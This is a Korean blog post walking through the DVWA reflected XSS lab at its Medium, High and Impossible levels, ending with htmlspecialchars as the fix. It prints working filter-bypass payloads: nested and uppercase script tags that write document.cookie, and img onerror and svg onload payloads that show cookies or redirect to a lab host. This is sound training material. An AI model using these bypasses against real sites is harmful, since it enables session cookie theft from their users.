https://revi1337.tistory.com/140
[DVWA] XSS (Reflected)
XSS 취약점은 애플리케이션에서 브라우저로 전송하는 페이지에서 사용자가 입력하는 데이터를 검증하지 않거나 출력 시 악의적인 데이터를 제한시키지 않을 때 발생하는 취약점임. 따라서 공격
revi1337.tistory.com
이번 포스팅은 Reflected XSS의 Medium, High, 그리고 impossible레벨의 소스코드를 볼 것임.
XSS 취약점은 애플리케이션에서 브라우저로 전송하는 페이지에서 사용자가 입력하는 데이터를 검증하지 않거나 출력 시 악의적인 데이터를 제한시키지 않을 때 발생하는 취약점임. 따라서 공격자는 악의적인 스크립트 코드를 웹 애플리케이션에 삽입한 후 웹 사용자의 웹 브라우저에서 해당 코드가 실행되도록 만드는 공격할 수 있음.
XSS 공격은 공격자가 삽입한 스크립트 코드가 언제 실행되는지에 따라 Reflected, Stored 그리고 DOM XSS로 구분됨.
- Reflected XSS는 요청 메시지에 입력된 스크립트 코드가 즉시 응답 메시지를 통해 출력되는 취약점임. 말뜻 그대로 입
력된 스크립트가 Relfected (반사)되는 것처럼 동작하기 때문에 붙은 이름임.
- 통상적으로 어떤 웹 애플리케이션이 사용자가 입력한 값을 그대로 출력하는 경우 Reflected XSS 취약점이 존재할 가
능성이 상당히 높음.
- Reflected XSS는 앞서 말했지만, 악성 스크립트 코드를 서버에 저장하지 않고 사용자의 요청 웹 서버의 반환 데이터를
이용함.
Medium 레벨
- Medium 레벨에서는 스크립트 태그가 먹히지 않는것을 볼 수 있음.
- 하지만, 스크립트문 전체가 문자열이 되면 이해가 가지만, <script></script>문만 사라지고 alert(1)은 고대로 출력된
것을 보면, script 태그만 무효화 된거 같음.
- <script>태그만 지우고있는것같기 때문에, <script>태그위에 또하나의 <script>태그를 씌워서 우회해 줄 수 있음.
<scr<script>ipt>document.write(document.cookie)</script>
- 또다른 방법은 script태그를 대문자로 치환해 우회해 줄 수 있음.
<SCRIPT>document.write(document.cookie)</SCRIPT>
- Medium 레벨의 소스코드를 보면 <script>태그를 공백으로 바꿔줌으로서 Reflected XSS에 대응하고 있지만,
단 한번만 바꿔주는 소스코드의 문제때문에 우회할 수 있었음.
High 레벨
- 정규식을 이용하여 대소문자를 구분하고, 각 문자사이사이에 시도되는 우회공격도 방어하고있음.
- 이런경우에는 <script>태그를 이용할 수는 없지만, <img src=x error=>태그나 <svg onload>태그같은
html 태그로도 우회할 수 있음.
<img src=x onerror=alert(document.cookie)>
# 고의로 오류가 발생하게 만들어, 쿠키를 출력하는 이벤트 처리를 시켜줌
<img src=x onerror=window.location.assign("http://192.168.75.129/ex_xss.php")>
<svg onload=window.location.assign("http://192.168.75.129/ex_xss.php")>
# window.location.assign함수를 이용하면 뒤에 링크로 Redirection 시킬 수 있음.
# 실제 해커들은 Redirection되는 페이지에 악성코드를 심어두거나 하는 방식을 이용
- html의 <img src onerror>로 우회 할 수 있음.
- 출력된 세션쿠키에는 security High가 나와있음.
Impossible 레벨
- 소스코드에서는 htmlspecialchars 함수를 사용하고있음. 이 함수는 몇몇 특수문자를 html entity로 변경하는 함수임
- <,>,&,'," 같은 문자는 html에서 태그, 구분자 같이 중요한 기능을 하는데, htmlspecialchars함수를 사용하게 되면 웹
페이지에서는 특수문자로 표시지만, 기존의 특별한 기능은 수행하지 않게됨.
- HTML태그로도 통하지않고 입력한 스크립트가 실행되지않고 그대로 출력되고있음.
- htmlspecialchars함수 때문에 <,>같은 특수문자가 표시는되지만, 태그로서의 기능을 수행되지 않는 것임
- 웹페이지 소스보기를 보면, 소스장에서 <,>문자가 <(less then), >(greater then)로 치환된것을 볼 수 있다.
'WebHacking > DVWA' 카테고리의 다른 글
[DVWA] File Inclusion (0) | 2022.01.19 |
---|---|
[DVWA] XSS (Stored) (0) | 2022.01.17 |
[DVWA] XSS (Reflected) (0) | 2022.01.13 |
[DVWA] Command Injection (0) | 2022.01.12 |
[DVWA] SQL Injection (3) (0) | 2022.01.12 |